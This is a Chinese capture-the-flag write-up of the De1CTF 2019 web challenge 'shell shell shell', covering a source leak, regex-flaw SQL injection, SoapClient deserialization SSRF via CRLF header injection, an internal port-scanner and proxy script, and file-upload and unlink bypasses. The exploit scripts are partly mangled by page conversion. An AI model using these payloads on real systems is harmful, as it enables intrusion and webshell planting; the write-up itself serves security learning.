刷题记录:[De1ctf] shell shell shell

目录

  • 刷题记录:[De1ctf] shell shell shell
    • 一、知识点
      • 1、源码泄露
      • 2、正则表达式不完善导致sql注入
      • 3、soapclient反序列化->ssrf
      • 4、扫描内网
      • 5、$file[count($file) - 1]$ext = end($file)获取后缀名方式不同
      • 6、绕过unlink

刷题记录:[De1ctf] shell shell shell

题目复现链接:https://buuoj.cn/challenges
参考链接:De1ctf - shell shell shell记录
浅析De1CTF 2019的两道web SSRF ME && ShellShellShell
骇极杯 2018 web3

知识量巨多的一道题,收获很多。这道题之后打算先停一停,看几本网络安全的书沉淀一下,不定时更新。

一、知识点

1、源码泄露

访问index.php~获得源码,从index.php中可以知道其他源码的位置

2、正则表达式不完善导致sql注入

正则表达如下

$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';

问题在于${1}占位只匹配第一个,像`1`or 1`#,后面的or 1`#就能逃逸出去,如果不清楚的话自己试验一下就知道了,然后就可以在publish界面sleep盲注出admin的密码

3、soapclient反序列化->ssrf

之前涉及过,贴个脚本

 $target,
    'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
    'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);

echo bin2hex($aaa);
?>

但是不知道为什么,我手动操作一直没法登陆,最后拿大佬的一键getshell脚本才登陆上去,代码见前面的参考链接

4、扫描内网

之前没见过这种情况,其实找个脚本就行了

';
@ob_flush();
@flush();
  
}
  
}
}
 
echo '
Timeout
'; if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){ $startip=$_POST['startip']; $endip=$_POST['endip']; $timeout=$_POST['timeout']; $port=$_POST['port']; $portarr=explode(',',$port); $siparr=explode('.',$startip); $eiparr=explode('.',$endip); $ciparr=$siparr; if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){ exit('IP error: Wrong IP address or Trying to scan class A address'); } if($startip==$endip){ echo 'Scanning IP '.$startip.'
'; @ob_flush(); @flush(); scanip($startip,$timeout,$portarr); @ob_flush(); @flush(); exit(); } if($eiparr[3]!=255){ $eiparr[3]+=1; } while($ciparr!=$eiparr){ $ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3]; echo '
Scanning IP '.$ip.'
'; @ob_flush(); @flush(); scanip($ip,$timeout,$portarr); $ciparr[3]+=1; if($ciparr[3]>255){ $ciparr[2]+=1; $ciparr[3]=0; } if($ciparr[2]>255){ $ciparr[1]+=1; $ciparr[2]=0; } } } /*内网代理代码*/ function getHtmlContext($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_TIMEOUT, 120); $result = curl_exec($ch); global $header; if($result){ $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = explode("\r\n",substr($result, 0, $headerSize)); $body = substr($result, $headerSize); } if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { return $body; } if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { $location = getHeader("Location"); if(strpos(getHeader("Location"),'http://') == false){ $location = getHost($url).$location; } return getHtmlContext($location); } return NULL; } function getHost($url){ preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); return $matches[0]; } function getCss($host,$html){ preg_match_all("//i",$html, $matches); foreach($matches[1] as $v){ $cssurl = $v; if(strpos($v,'http://') == false){ $cssurl = $host."/".$v; } $csshtml = ""; $html .= $csshtml; } return $html; } if($url != null){ $host = getHost($url); echo getCss($host,getHtmlContext($url)); } ?>

5、$file[count($file) - 1]$ext = end($file)获取后缀名方式不同

网鼎杯第二场 wafupload详解
首先没判断数组,所以很容易想到用数组绕过,拿exp来讲
男神glzjin师傅的php exp

 "http://172.16.54.2",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@ array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

最后得到的表单是

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="tr1ple.php"
Content-Type: false

@

网页得到的$_POST['file']

array(3) {
  [2]=>
  string(3) "222"
  [1]=>
  string(3) "111"
  [0]=>
  string(16) "/../tr1ple11.php"
}

$file[count($file) - 1]获取的后缀是222,$ext = end($file)获取的后缀是/../tr1ple11.php,成功绕过

有三种方法,前两种都是利用php获取文件和删除文件中获取路径的方式不同

简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。
但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。

  • (1)利用../跳出去
    例如上例中/../tr1ple11.php为后缀,前面接上随机文件名后tr1ple11.php依然在当前文件夹中,同时unlink()无法删除
  • (2)/.使unlink失效

    新的文件名为xxx.php/.,在move_uploaded_file()处理的时候,会转化为绝对路径,成功将xxx.php保存。
    但是unlink()删除失败,xxx.php就被保存了下来。

  • (3)利用php://filter/string.strip_tags/resource=/etc/passwd导致php segemnt fault
    LFI via SegmentFault
    本题中没有尝试

你可能感兴趣的:(刷题记录:[De1ctf] shell shell shell)